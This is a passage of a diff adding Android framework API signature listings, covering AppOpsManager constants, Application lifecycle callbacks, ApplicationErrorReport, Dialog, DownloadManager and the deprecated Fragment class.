+    method public void stopWatchingMode(@NonNull android.app.AppOpsManager.OnOpChangedListener);
+    method public int unsafeCheckOp(@NonNull String, int, @NonNull String);
+    method public int unsafeCheckOpNoThrow(@NonNull String, int, @NonNull String);
+    method public int unsafeCheckOpRaw(@NonNull String, int, @NonNull String);
+    method public int unsafeCheckOpRawNoThrow(@NonNull String, int, @NonNull String);
+    field public static final int MODE_ALLOWED = 0; // 0x0
+    field public static final int MODE_DEFAULT = 3; // 0x3
+    field public static final int MODE_ERRORED = 2; // 0x2
+    field public static final int MODE_FOREGROUND = 4; // 0x4
+    field public static final int MODE_IGNORED = 1; // 0x1
+    field public static final String OPSTR_ADD_VOICEMAIL = "android:add_voicemail";
+    field public static final String OPSTR_ANSWER_PHONE_CALLS = "android:answer_phone_calls";
+    field public static final String OPSTR_BODY_SENSORS = "android:body_sensors";
+    field public static final String OPSTR_CALL_PHONE = "android:call_phone";
+    field public static final String OPSTR_CAMERA = "android:camera";
+    field public static final String OPSTR_COARSE_LOCATION = "android:coarse_location";
+    field public static final String OPSTR_FINE_LOCATION = "android:fine_location";
+    field public static final String OPSTR_GET_USAGE_STATS = "android:get_usage_stats";
+    field public static final String OPSTR_MOCK_LOCATION = "android:mock_location";
+    field public static final String OPSTR_MONITOR_HIGH_POWER_LOCATION = "android:monitor_location_high_power";
+    field public static final String OPSTR_MONITOR_LOCATION = "android:monitor_location";
+    field public static final String OPSTR_PICTURE_IN_PICTURE = "android:picture_in_picture";
+    field public static final String OPSTR_PROCESS_OUTGOING_CALLS = "android:process_outgoing_calls";
+    field public static final String OPSTR_READ_CALENDAR = "android:read_calendar";
+    field public static final String OPSTR_READ_CALL_LOG = "android:read_call_log";
+    field public static final String OPSTR_READ_CELL_BROADCASTS = "android:read_cell_broadcasts";
+    field public static final String OPSTR_READ_CONTACTS = "android:read_contacts";
+    field public static final String OPSTR_READ_EXTERNAL_STORAGE = "android:read_external_storage";
+    field public static final String OPSTR_READ_PHONE_NUMBERS = "android:read_phone_numbers";
+    field public static final String OPSTR_READ_PHONE_STATE = "android:read_phone_state";
+    field public static final String OPSTR_READ_SMS = "android:read_sms";
+    field public static final String OPSTR_RECEIVE_MMS = "android:receive_mms";
+    field public static final String OPSTR_RECEIVE_SMS = "android:receive_sms";
+    field public static final String OPSTR_RECEIVE_WAP_PUSH = "android:receive_wap_push";
+    field public static final String OPSTR_RECORD_AUDIO = "android:record_audio";
+    field public static final String OPSTR_SEND_SMS = "android:send_sms";
+    field public static final String OPSTR_SYSTEM_ALERT_WINDOW = "android:system_alert_window";
+    field public static final String OPSTR_USE_FINGERPRINT = "android:use_fingerprint";
+    field public static final String OPSTR_USE_SIP = "android:use_sip";
+    field public static final String OPSTR_WRITE_CALENDAR = "android:write_calendar";
+    field public static final String OPSTR_WRITE_CALL_LOG = "android:write_call_log";
+    field public static final String OPSTR_WRITE_CONTACTS = "android:write_contacts";
+    field public static final String OPSTR_WRITE_EXTERNAL_STORAGE = "android:write_external_storage";
+    field public static final String OPSTR_WRITE_SETTINGS = "android:write_settings";
+    field public static final int WATCH_FOREGROUND_CHANGES = 1; // 0x1
+  }
+
+  public static interface AppOpsManager.OnOpActiveChangedListener {
+    method public void onOpActiveChanged(@NonNull String, int, @NonNull String, boolean);
+  }
+
+  public static interface AppOpsManager.OnOpChangedListener {
+    method public void onOpChanged(String, String);
+  }
+
+  public abstract static class AppOpsManager.OnOpNotedCallback {
+    ctor public AppOpsManager.OnOpNotedCallback();
+    method public abstract void onAsyncNoted(@NonNull android.app.AsyncNotedAppOp);
+    method public abstract void onNoted(@NonNull android.app.SyncNotedAppOp);
+    method public abstract void onSelfNoted(@NonNull android.app.SyncNotedAppOp);
+  }
+
+  public class Application extends android.content.ContextWrapper implements android.content.ComponentCallbacks2 {
+    ctor public Application();
+    method public static String getProcessName();
+    method @CallSuper public void onConfigurationChanged(@NonNull android.content.res.Configuration);
+    method @CallSuper public void onCreate();
+    method @CallSuper public void onLowMemory();
+    method @CallSuper public void onTerminate();
+    method @CallSuper public void onTrimMemory(int);
+    method public void registerActivityLifecycleCallbacks(android.app.Application.ActivityLifecycleCallbacks);
+    method public void registerOnProvideAssistDataListener(android.app.Application.OnProvideAssistDataListener);
+    method public void unregisterActivityLifecycleCallbacks(android.app.Application.ActivityLifecycleCallbacks);
+    method public void unregisterOnProvideAssistDataListener(android.app.Application.OnProvideAssistDataListener);
+  }
+
+  public static interface Application.ActivityLifecycleCallbacks {
+    method public void onActivityCreated(@NonNull android.app.Activity, @Nullable android.os.Bundle);
+    method public void onActivityDestroyed(@NonNull android.app.Activity);
+    method public void onActivityPaused(@NonNull android.app.Activity);
+    method public default void onActivityPostCreated(@NonNull android.app.Activity, @Nullable android.os.Bundle);
+    method public default void onActivityPostDestroyed(@NonNull android.app.Activity);
+    method public default void onActivityPostPaused(@NonNull android.app.Activity);
+    method public default void onActivityPostResumed(@NonNull android.app.Activity);
+    method public default void onActivityPostSaveInstanceState(@NonNull android.app.Activity, @NonNull android.os.Bundle);
+    method public default void onActivityPostStarted(@NonNull android.app.Activity);
+    method public default void onActivityPostStopped(@NonNull android.app.Activity);
+    method public default void onActivityPreCreated(@NonNull android.app.Activity, @Nullable android.os.Bundle);
+    method public default void onActivityPreDestroyed(@NonNull android.app.Activity);
+    method public default void onActivityPrePaused(@NonNull android.app.Activity);
+    method public default void onActivityPreResumed(@NonNull android.app.Activity);
+    method public default void onActivityPreSaveInstanceState(@NonNull android.app.Activity, @NonNull android.os.Bundle);
+    method public default void onActivityPreStarted(@NonNull android.app.Activity);
+    method public default void onActivityPreStopped(@NonNull android.app.Activity);
+    method public void onActivityResumed(@NonNull android.app.Activity);
+    method public void onActivitySaveInstanceState(@NonNull android.app.Activity, @NonNull android.os.Bundle);
+    method public void onActivityStarted(@NonNull android.app.Activity);
+    method public void onActivityStopped(@NonNull android.app.Activity);
+  }
+
+  public static interface Application.OnProvideAssistDataListener {
+    method public void onProvideAssistData(android.app.Activity, android.os.Bundle);
+  }
+
+  public class ApplicationErrorReport implements android.os.Parcelable {
+    ctor public ApplicationErrorReport();
+    method public int describeContents();
+    method public void dump(android.util.Printer, String);
+    method public static android.content.ComponentName getErrorReportReceiver(android.content.Context, String, int);
+    method public void readFromParcel(android.os.Parcel);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.ApplicationErrorReport> CREATOR;
+    field public static final int TYPE_ANR = 2; // 0x2
+    field public static final int TYPE_BATTERY = 3; // 0x3
+    field public static final int TYPE_CRASH = 1; // 0x1
+    field public static final int TYPE_NONE = 0; // 0x0
+    field public static final int TYPE_RUNNING_SERVICE = 5; // 0x5
+    field public android.app.ApplicationErrorReport.AnrInfo anrInfo;
+    field public android.app.ApplicationErrorReport.BatteryInfo batteryInfo;
+    field public android.app.ApplicationErrorReport.CrashInfo crashInfo;
+    field public String installerPackageName;
+    field public String packageName;
+    field public String processName;
+    field public android.app.ApplicationErrorReport.RunningServiceInfo runningServiceInfo;
+    field public boolean systemApp;
+    field public long time;
+    field public int type;
+  }
+
+  public static class ApplicationErrorReport.AnrInfo {
+    ctor public ApplicationErrorReport.AnrInfo();
+    ctor public ApplicationErrorReport.AnrInfo(android.os.Parcel);
+    method public void dump(android.util.Printer, String);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public String activity;
+    field public String cause;
+    field public String info;
+  }
+
+  public static class ApplicationErrorReport.BatteryInfo {
+    ctor public ApplicationErrorReport.BatteryInfo();
+    ctor public ApplicationErrorReport.BatteryInfo(android.os.Parcel);
+    method public void dump(android.util.Printer, String);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public String checkinDetails;
+    field public long durationMicros;
+    field public String usageDetails;
+    field public int usagePercent;
+  }
+
+  public static class ApplicationErrorReport.CrashInfo {
+    ctor public ApplicationErrorReport.CrashInfo();
+    ctor public ApplicationErrorReport.CrashInfo(Throwable);
+    ctor public ApplicationErrorReport.CrashInfo(android.os.Parcel);
+    method public void dump(android.util.Printer, String);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public String exceptionClassName;
+    field public String exceptionMessage;
+    field public String stackTrace;
+    field public String throwClassName;
+    field public String throwFileName;
+    field public int throwLineNumber;
+    field public String throwMethodName;
+  }
+
+  public static class ApplicationErrorReport.RunningServiceInfo {
+    ctor public ApplicationErrorReport.RunningServiceInfo();
+    ctor public ApplicationErrorReport.RunningServiceInfo(android.os.Parcel);
+    method public void dump(android.util.Printer, String);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public long durationMillis;
+    field public String serviceDetails;
+  }
+
+  public final class ApplicationExitInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getDefiningUid();
+    method @Nullable public String getDescription();
+    method public int getImportance();
+    method public int getPackageUid();
+    method public int getPid();
+    method @NonNull public String getProcessName();
+    method @Nullable public byte[] getProcessStateSummary();
+    method public long getPss();
+    method public int getRealUid();
+    method public int getReason();
+    method public long getRss();
+    method public int getStatus();
+    method public long getTimestamp();
+    method @Nullable public java.io.InputStream getTraceInputStream() throws java.io.IOException;
+    method @NonNull public android.os.UserHandle getUserHandle();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.ApplicationExitInfo> CREATOR;
+    field public static final int REASON_ANR = 6; // 0x6
+    field public static final int REASON_CRASH = 4; // 0x4
+    field public static final int REASON_CRASH_NATIVE = 5; // 0x5
+    field public static final int REASON_DEPENDENCY_DIED = 12; // 0xc
+    field public static final int REASON_EXCESSIVE_RESOURCE_USAGE = 9; // 0x9
+    field public static final int REASON_EXIT_SELF = 1; // 0x1
+    field public static final int REASON_INITIALIZATION_FAILURE = 7; // 0x7
+    field public static final int REASON_LOW_MEMORY = 3; // 0x3
+    field public static final int REASON_OTHER = 13; // 0xd
+    field public static final int REASON_PERMISSION_CHANGE = 8; // 0x8
+    field public static final int REASON_SIGNALED = 2; // 0x2
+    field public static final int REASON_UNKNOWN = 0; // 0x0
+    field public static final int REASON_USER_REQUESTED = 10; // 0xa
+    field public static final int REASON_USER_STOPPED = 11; // 0xb
+  }
+
+  public final class AsyncNotedAppOp implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public String getAttributionTag();
+    method @NonNull public String getMessage();
+    method @IntRange(from=0) public int getNotingUid();
+    method @NonNull public String getOp();
+    method public long getTime();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.AsyncNotedAppOp> CREATOR;
+  }
+
+  public final class AuthenticationRequiredException extends java.lang.SecurityException implements android.os.Parcelable {
+    ctor public AuthenticationRequiredException(Throwable, android.app.PendingIntent);
+    method public int describeContents();
+    method public android.app.PendingIntent getUserAction();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.AuthenticationRequiredException> CREATOR;
+  }
+
+  public final class AutomaticZenRule implements android.os.Parcelable {
+    ctor @Deprecated public AutomaticZenRule(String, android.content.ComponentName, android.net.Uri, int, boolean);
+    ctor public AutomaticZenRule(@NonNull String, @Nullable android.content.ComponentName, @Nullable android.content.ComponentName, @NonNull android.net.Uri, @Nullable android.service.notification.ZenPolicy, int, boolean);
+    ctor public AutomaticZenRule(android.os.Parcel);
+    method public int describeContents();
+    method public android.net.Uri getConditionId();
+    method @Nullable public android.content.ComponentName getConfigurationActivity();
+    method public long getCreationTime();
+    method public int getInterruptionFilter();
+    method public String getName();
+    method public android.content.ComponentName getOwner();
+    method public android.service.notification.ZenPolicy getZenPolicy();
+    method public boolean isEnabled();
+    method public void setConditionId(android.net.Uri);
+    method public void setConfigurationActivity(@Nullable android.content.ComponentName);
+    method public void setEnabled(boolean);
+    method public void setInterruptionFilter(int);
+    method public void setName(String);
+    method public void setZenPolicy(android.service.notification.ZenPolicy);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.AutomaticZenRule> CREATOR;
+  }
+
+  public final class BackgroundServiceStartNotAllowedException extends android.app.ServiceStartNotAllowedException implements android.os.Parcelable {
+    ctor public BackgroundServiceStartNotAllowedException(@NonNull String);
+    method public int describeContents();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.BackgroundServiceStartNotAllowedException> CREATOR;
+  }
+
+  public class DatePickerDialog extends android.app.AlertDialog implements android.widget.DatePicker.OnDateChangedListener android.content.DialogInterface.OnClickListener {
+    ctor public DatePickerDialog(@NonNull android.content.Context);
+    ctor public DatePickerDialog(@NonNull android.content.Context, @StyleRes int);
+    ctor public DatePickerDialog(@NonNull android.content.Context, @Nullable android.app.DatePickerDialog.OnDateSetListener, int, int, int);
+    ctor public DatePickerDialog(@NonNull android.content.Context, @StyleRes int, @Nullable android.app.DatePickerDialog.OnDateSetListener, int, int, int);
+    method @NonNull public android.widget.DatePicker getDatePicker();
+    method public void onClick(@NonNull android.content.DialogInterface, int);
+    method public void onDateChanged(@NonNull android.widget.DatePicker, int, int, int);
+    method public void setOnDateSetListener(@Nullable android.app.DatePickerDialog.OnDateSetListener);
+    method public void updateDate(int, int, int);
+  }
+
+  public static interface DatePickerDialog.OnDateSetListener {
+    method public void onDateSet(android.widget.DatePicker, int, int, int);
+  }
+
+  public class Dialog implements android.content.DialogInterface android.view.KeyEvent.Callback android.view.View.OnCreateContextMenuListener android.view.Window.Callback {
+    ctor public Dialog(@NonNull @UiContext android.content.Context);
+    ctor public Dialog(@NonNull @UiContext android.content.Context, @StyleRes int);
+    ctor protected Dialog(@NonNull @UiContext android.content.Context, boolean, @Nullable android.content.DialogInterface.OnCancelListener);
+    method public void addContentView(@NonNull android.view.View, @Nullable android.view.ViewGroup.LayoutParams);
+    method public void cancel();
+    method public void closeOptionsMenu();
+    method public void create();
+    method public void dismiss();
+    method public boolean dispatchGenericMotionEvent(@NonNull android.view.MotionEvent);
+    method public boolean dispatchKeyEvent(@NonNull android.view.KeyEvent);
+    method public boolean dispatchKeyShortcutEvent(@NonNull android.view.KeyEvent);
+    method public boolean dispatchPopulateAccessibilityEvent(@NonNull android.view.accessibility.AccessibilityEvent);
+    method public boolean dispatchTouchEvent(@NonNull android.view.MotionEvent);
+    method public boolean dispatchTrackballEvent(@NonNull android.view.MotionEvent);
+    method public <T extends android.view.View> T findViewById(@IdRes int);
+    method @Nullable public android.app.ActionBar getActionBar();
+    method @NonNull @UiContext public final android.content.Context getContext();
+    method @Nullable public android.view.View getCurrentFocus();
+    method @NonNull public android.view.LayoutInflater getLayoutInflater();
+    method @Nullable public final android.app.Activity getOwnerActivity();
+    method @Nullable public final android.view.SearchEvent getSearchEvent();
+    method public final int getVolumeControlStream();
+    method @Nullable public android.view.Window getWindow();
+    method public void hide();
+    method public void invalidateOptionsMenu();
+    method public boolean isShowing();
+    method @CallSuper public void onActionModeFinished(android.view.ActionMode);
+    method @CallSuper public void onActionModeStarted(android.view.ActionMode);
+    method public void onAttachedToWindow();
+    method public void onBackPressed();
+    method public void onContentChanged();
+    method public boolean onContextItemSelected(@NonNull android.view.MenuItem);
+    method public void onContextMenuClosed(@NonNull android.view.Menu);
+    method protected void onCreate(android.os.Bundle);
+    method public void onCreateContextMenu(android.view.ContextMenu, android.view.View, android.view.ContextMenu.ContextMenuInfo);
+    method public boolean onCreateOptionsMenu(@NonNull android.view.Menu);
+    method public boolean onCreatePanelMenu(int, @NonNull android.view.Menu);
+    method public android.view.View onCreatePanelView(int);
+    method public void onDetachedFromWindow();
+    method public boolean onGenericMotionEvent(@NonNull android.view.MotionEvent);
+    method public boolean onKeyDown(int, @NonNull android.view.KeyEvent);
+    method public boolean onKeyLongPress(int, @NonNull android.view.KeyEvent);
+    method public boolean onKeyMultiple(int, int, @NonNull android.view.KeyEvent);
+    method public boolean onKeyShortcut(int, @NonNull android.view.KeyEvent);
+    method public boolean onKeyUp(int, @NonNull android.view.KeyEvent);
+    method public boolean onMenuItemSelected(int, @NonNull android.view.MenuItem);
+    method public boolean onMenuOpened(int, @NonNull android.view.Menu);
+    method public boolean onOptionsItemSelected(@NonNull android.view.MenuItem);
+    method public void onOptionsMenuClosed(@NonNull android.view.Menu);
+    method public void onPanelClosed(int, @NonNull android.view.Menu);
+    method public boolean onPrepareOptionsMenu(@NonNull android.view.Menu);
+    method public boolean onPreparePanel(int, @Nullable android.view.View, @NonNull android.view.Menu);
+    method public void onRestoreInstanceState(@NonNull android.os.Bundle);
+    method @NonNull public android.os.Bundle onSaveInstanceState();
+    method public boolean onSearchRequested(@NonNull android.view.SearchEvent);
+    method public boolean onSearchRequested();
+    method protected void onStart();
+    method protected void onStop();
+    method public boolean onTouchEvent(@NonNull android.view.MotionEvent);
+    method public boolean onTrackballEvent(@NonNull android.view.MotionEvent);
+    method public void onWindowAttributesChanged(android.view.WindowManager.LayoutParams);
+    method public void onWindowFocusChanged(boolean);
+    method public android.view.ActionMode onWindowStartingActionMode(android.view.ActionMode.Callback);
+    method public android.view.ActionMode onWindowStartingActionMode(android.view.ActionMode.Callback, int);
+    method public void openContextMenu(@NonNull android.view.View);
+    method public void openOptionsMenu();
+    method public void registerForContextMenu(@NonNull android.view.View);
+    method public final boolean requestWindowFeature(int);
+    method @NonNull public final <T extends android.view.View> T requireViewById(@IdRes int);
+    method public void setCancelMessage(@Nullable android.os.Message);
+    method public void setCancelable(boolean);
+    method public void setCanceledOnTouchOutside(boolean);
+    method public void setContentView(@LayoutRes int);
+    method public void setContentView(@NonNull android.view.View);
+    method public void setContentView(@NonNull android.view.View, @Nullable android.view.ViewGroup.LayoutParams);
+    method public void setDismissMessage(@Nullable android.os.Message);
+    method public final void setFeatureDrawable(int, @Nullable android.graphics.drawable.Drawable);
+    method public final void setFeatureDrawableAlpha(int, int);
+    method public final void setFeatureDrawableResource(int, @DrawableRes int);
+    method public final void setFeatureDrawableUri(int, @Nullable android.net.Uri);
+    method public void setOnCancelListener(@Nullable android.content.DialogInterface.OnCancelListener);
+    method public void setOnDismissListener(@Nullable android.content.DialogInterface.OnDismissListener);
+    method public void setOnKeyListener(@Nullable android.content.DialogInterface.OnKeyListener);
+    method public void setOnShowListener(@Nullable android.content.DialogInterface.OnShowListener);
+    method public final void setOwnerActivity(@NonNull android.app.Activity);
+    method public void setTitle(@Nullable CharSequence);
+    method public void setTitle(@StringRes int);
+    method public final void setVolumeControlStream(int);
+    method public void show();
+    method public void takeKeyEvents(boolean);
+    method public void unregisterForContextMenu(@NonNull android.view.View);
+  }
+
+  @Deprecated public class DialogFragment extends android.app.Fragment implements android.content.DialogInterface.OnCancelListener android.content.DialogInterface.OnDismissListener {
+    ctor @Deprecated public DialogFragment();
+    method @Deprecated public void dismiss();
+    method @Deprecated public void dismissAllowingStateLoss();
+    method @Deprecated public android.app.Dialog getDialog();
+    method @Deprecated public boolean getShowsDialog();
+    method @Deprecated public int getTheme();
+    method @Deprecated public boolean isCancelable();
+    method @Deprecated public void onCancel(android.content.DialogInterface);
+    method @Deprecated public android.app.Dialog onCreateDialog(android.os.Bundle);
+    method @Deprecated public void onDismiss(android.content.DialogInterface);
+    method public android.view.LayoutInflater onGetLayoutInflater(android.os.Bundle);
+    method @Deprecated public void setCancelable(boolean);
+    method @Deprecated public void setShowsDialog(boolean);
+    method @Deprecated public void setStyle(int, int);
+    method @Deprecated public void show(android.app.FragmentManager, String);
+    method @Deprecated public int show(android.app.FragmentTransaction, String);
+    field @Deprecated public static final int STYLE_NORMAL = 0; // 0x0
+    field @Deprecated public static final int STYLE_NO_FRAME = 2; // 0x2
+    field @Deprecated public static final int STYLE_NO_INPUT = 3; // 0x3
+    field @Deprecated public static final int STYLE_NO_TITLE = 1; // 0x1
+  }
+
+  public final class DirectAction implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public android.os.Bundle getExtras();
+    method @NonNull public String getId();
+    method @Nullable public android.content.LocusId getLocusId();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.DirectAction> CREATOR;
+  }
+
+  public static final class DirectAction.Builder {
+    ctor public DirectAction.Builder(@NonNull String);
+    method @NonNull public android.app.DirectAction build();
+    method @NonNull public android.app.DirectAction.Builder setExtras(@Nullable android.os.Bundle);
+    method @NonNull public android.app.DirectAction.Builder setLocusId(@Nullable android.content.LocusId);
+  }
+
+  public class DownloadManager {
+    method @Deprecated public long addCompletedDownload(String, String, boolean, String, String, long, boolean);
+    method @Deprecated public long addCompletedDownload(String, String, boolean, String, String, long, boolean, android.net.Uri, android.net.Uri);
+    method public long enqueue(android.app.DownloadManager.Request);
+    method public static Long getMaxBytesOverMobile(android.content.Context);
+    method public String getMimeTypeForDownloadedFile(long);
+    method public static Long getRecommendedMaxBytesOverMobile(android.content.Context);
+    method public android.net.Uri getUriForDownloadedFile(long);
+    method public android.os.ParcelFileDescriptor openDownloadedFile(long) throws java.io.FileNotFoundException;
+    method public android.database.Cursor query(android.app.DownloadManager.Query);
+    method public int remove(long...);
+    field public static final String ACTION_DOWNLOAD_COMPLETE = "android.intent.action.DOWNLOAD_COMPLETE";
+    field public static final String ACTION_NOTIFICATION_CLICKED = "android.intent.action.DOWNLOAD_NOTIFICATION_CLICKED";
+    field public static final String ACTION_VIEW_DOWNLOADS = "android.intent.action.VIEW_DOWNLOADS";
+    field public static final String COLUMN_BYTES_DOWNLOADED_SO_FAR = "bytes_so_far";
+    field public static final String COLUMN_DESCRIPTION = "description";
+    field public static final String COLUMN_ID = "_id";
+    field public static final String COLUMN_LAST_MODIFIED_TIMESTAMP = "last_modified_timestamp";
+    field @Deprecated public static final String COLUMN_LOCAL_FILENAME = "local_filename";
+    field public static final String COLUMN_LOCAL_URI = "local_uri";
+    field public static final String COLUMN_MEDIAPROVIDER_URI = "mediaprovider_uri";
+    field public static final String COLUMN_MEDIA_TYPE = "media_type";
+    field public static final String COLUMN_REASON = "reason";
+    field public static final String COLUMN_STATUS = "status";
+    field public static final String COLUMN_TITLE = "title";
+    field public static final String COLUMN_TOTAL_SIZE_BYTES = "total_size";
+    field public static final String COLUMN_URI = "uri";
+    field public static final int ERROR_CANNOT_RESUME = 1008; // 0x3f0
+    field public static final int ERROR_DEVICE_NOT_FOUND = 1007; // 0x3ef
+    field public static final int ERROR_FILE_ALREADY_EXISTS = 1009; // 0x3f1
+    field public static final int ERROR_FILE_ERROR = 1001; // 0x3e9
+    field public static final int ERROR_HTTP_DATA_ERROR = 1004; // 0x3ec
+    field public static final int ERROR_INSUFFICIENT_SPACE = 1006; // 0x3ee
+    field public static final int ERROR_TOO_MANY_REDIRECTS = 1005; // 0x3ed
+    field public static final int ERROR_UNHANDLED_HTTP_CODE = 1002; // 0x3ea
+    field public static final int ERROR_UNKNOWN = 1000; // 0x3e8
+    field public static final String EXTRA_DOWNLOAD_ID = "extra_download_id";
+    field public static final String EXTRA_NOTIFICATION_CLICK_DOWNLOAD_IDS = "extra_click_download_ids";
+    field public static final String INTENT_EXTRAS_SORT_BY_SIZE = "android.app.DownloadManager.extra_sortBySize";
+    field public static final int PAUSED_QUEUED_FOR_WIFI = 3; // 0x3
+    field public static final int PAUSED_UNKNOWN = 4; // 0x4
+    field public static final int PAUSED_WAITING_FOR_NETWORK = 2; // 0x2
+    field public static final int PAUSED_WAITING_TO_RETRY = 1; // 0x1
+    field public static final int STATUS_FAILED = 16; // 0x10
+    field public static final int STATUS_PAUSED = 4; // 0x4
+    field public static final int STATUS_PENDING = 1; // 0x1
+    field public static final int STATUS_RUNNING = 2; // 0x2
+    field public static final int STATUS_SUCCESSFUL = 8; // 0x8
+  }
+
+  public static class DownloadManager.Query {
+    ctor public DownloadManager.Query();
+    method public android.app.DownloadManager.Query setFilterById(long...);
+    method public android.app.DownloadManager.Query setFilterByStatus(int);
+  }
+
+  public static class DownloadManager.Request {
+    ctor public DownloadManager.Request(android.net.Uri);
+    method public android.app.DownloadManager.Request addRequestHeader(String, String);
+    method @Deprecated public void allowScanningByMediaScanner();
+    method public android.app.DownloadManager.Request setAllowedNetworkTypes(int);
+    method public android.app.DownloadManager.Request setAllowedOverMetered(boolean);
+    method public android.app.DownloadManager.Request setAllowedOverRoaming(boolean);
+    method public android.app.DownloadManager.Request setDescription(CharSequence);
+    method public android.app.DownloadManager.Request setDestinationInExternalFilesDir(android.content.Context, String, String);
+    method public android.app.DownloadManager.Request setDestinationInExternalPublicDir(String, String);
+    method public android.app.DownloadManager.Request setDestinationUri(android.net.Uri);
+    method public android.app.DownloadManager.Request setMimeType(String);
+    method public android.app.DownloadManager.Request setNotificationVisibility(int);
+    method public android.app.DownloadManager.Request setRequiresCharging(boolean);
+    method public android.app.DownloadManager.Request setRequiresDeviceIdle(boolean);
+    method @Deprecated public android.app.DownloadManager.Request setShowRunningNotification(boolean);
+    method public android.app.DownloadManager.Request setTitle(CharSequence);
+    method @Deprecated public android.app.DownloadManager.Request setVisibleInDownloadsUi(boolean);
+    field public static final int NETWORK_MOBILE = 1; // 0x1
+    field public static final int NETWORK_WIFI = 2; // 0x2
+    field public static final int VISIBILITY_HIDDEN = 2; // 0x2
+    field public static final int VISIBILITY_VISIBLE = 0; // 0x0
+    field public static final int VISIBILITY_VISIBLE_NOTIFY_COMPLETED = 1; // 0x1
+    field public static final int VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION = 3; // 0x3
+  }
+
+  @Deprecated public class ExpandableListActivity extends android.app.Activity implements android.widget.ExpandableListView.OnChildClickListener android.widget.ExpandableListView.OnGroupCollapseListener android.widget.ExpandableListView.OnGroupExpandListener android.view.View.OnCreateContextMenuListener {
+    ctor @Deprecated public ExpandableListActivity();
+    method @Deprecated public android.widget.ExpandableListAdapter getExpandableListAdapter();
+    method @Deprecated public android.widget.ExpandableListView getExpandableListView();
+    method @Deprecated public long getSelectedId();
+    method @Deprecated public long getSelectedPosition();
+    method @Deprecated public boolean onChildClick(android.widget.ExpandableListView, android.view.View, int, int, long);
+    method @Deprecated public void onGroupCollapse(int);
+    method @Deprecated public void onGroupExpand(int);
+    method @Deprecated public void setListAdapter(android.widget.ExpandableListAdapter);
+    method @Deprecated public boolean setSelectedChild(int, int, boolean);
+    method @Deprecated public void setSelectedGroup(int);
+  }
+
+  public final class ForegroundServiceStartNotAllowedException extends android.app.ServiceStartNotAllowedException implements android.os.Parcelable {
+    ctor public ForegroundServiceStartNotAllowedException(@NonNull String);
+    method public int describeContents();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.ForegroundServiceStartNotAllowedException> CREATOR;
+  }
+
+  @Deprecated public class Fragment implements android.content.ComponentCallbacks2 android.view.View.OnCreateContextMenuListener {
+    ctor @Deprecated public Fragment();
+    method @Deprecated public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
+    method @Deprecated public final boolean equals(@Nullable Object);
+    method @Deprecated public final android.app.Activity getActivity();
+    method @Deprecated public boolean getAllowEnterTransitionOverlap();
+    method @Deprecated public boolean getAllowReturnTransitionOverlap();
+    method @Deprecated public final android.os.Bundle getArguments();
+    method @Deprecated public final android.app.FragmentManager getChildFragmentManager();
+    method @Deprecated public android.content.Context getContext();
+    method @Deprecated public android.transition.Transition getEnterTransition();
+    method @Deprecated public android.transition.Transition getExitTransition();
+    method @Deprecated public final android.app.FragmentManager getFragmentManager();
+    method @Deprecated @Nullable public final Object getHost();
+    method @Deprecated public final int getId();
+    method @Deprecated public final android.view.LayoutInflater getLayoutInflater();
+    method @Deprecated public android.app.LoaderManager getLoaderManager();
+    method @Deprecated public final android.app.Fragment getParentFragment();
+    method @Deprecated public android.transition.Transition getReenterTransition();
+    method @Deprecated public final android.content.res.Resources getResources();
+    method @Deprecated public final boolean getRetainInstance();
+    method @Deprecated public android.transition.Transition getReturnTransition();
+    method @Deprecated public android.transition.Transition getSharedElementEnterTransition();
+    method @Deprecated public android.transition.Transition getSharedElementReturnTransition();
+    method @Deprecated public final String getString(@StringRes int);
+    method @Deprecated public final String getString(@StringRes int, java.lang.Object...);
+    method @Deprecated public final String getTag();
+    method @Deprecated public final android.app.Fragment getTargetFragment();
+    method @Deprecated public final int getTargetRequestCode();
+    method @Deprecated public final CharSequence getText(@StringRes int);
+    method @Deprecated public boolean getUserVisibleHint();
+    method @Deprecated @Nullable public android.view.View getView();
+    method @Deprecated public final int hashCode();
+    method @Deprecated public static android.app.Fragment instantiate(android.content.Context, String);
+    method @Deprecated public static android.app.Fragment instantiate(android.content.Context, String, @Nullable android.os.Bundle);
+    method @Deprecated public final boolean isAdded();
+    method @Deprecated public final boolean isDetached();
+    method @Deprecated public final boolean isHidden();
+    method @Deprecated public final boolean isInLayout();
+    method @Deprecated public final boolean isRemoving();
+    method @Deprecated public final boolean isResumed();
+    method @Deprecated public final boolean isStateSaved();
+    method @Deprecated public final boolean isVisible();
+    method @Deprecated @CallSuper public void onActivityCreated(@Nullable android.os.Bundle);
+    method @Deprecated public void onActivityResult(int, int, android.content.Intent);
+    method @Deprecated @CallSuper public void onAttach(android.content.Context);
+    method @Deprecated @CallSuper public void onAttach(android.app.Activity);
+    method @Deprecated public void onAttachFragment(android.app.Fragment);
+    method @Deprecated @CallSuper public void onConfigurationChanged(android.content.res.Configuration);
+    method @Deprecated public boolean onContextItemSelected(android.view.MenuItem);
+    method @Deprecated @CallSuper public void onCreate(@Nullable android.os.Bundle);
+    method @Deprecated public android.animation.Animator onCreateAnimator(int, boolean, int);
+    method @Deprecated public void onCreateContextMenu(android.view.ContextMenu, android.view.View, android.view.ContextMenu.ContextMenuInfo);
+    method @Deprecated public void onCreateOptionsMenu(android.view.Menu, android.view.MenuInflater);
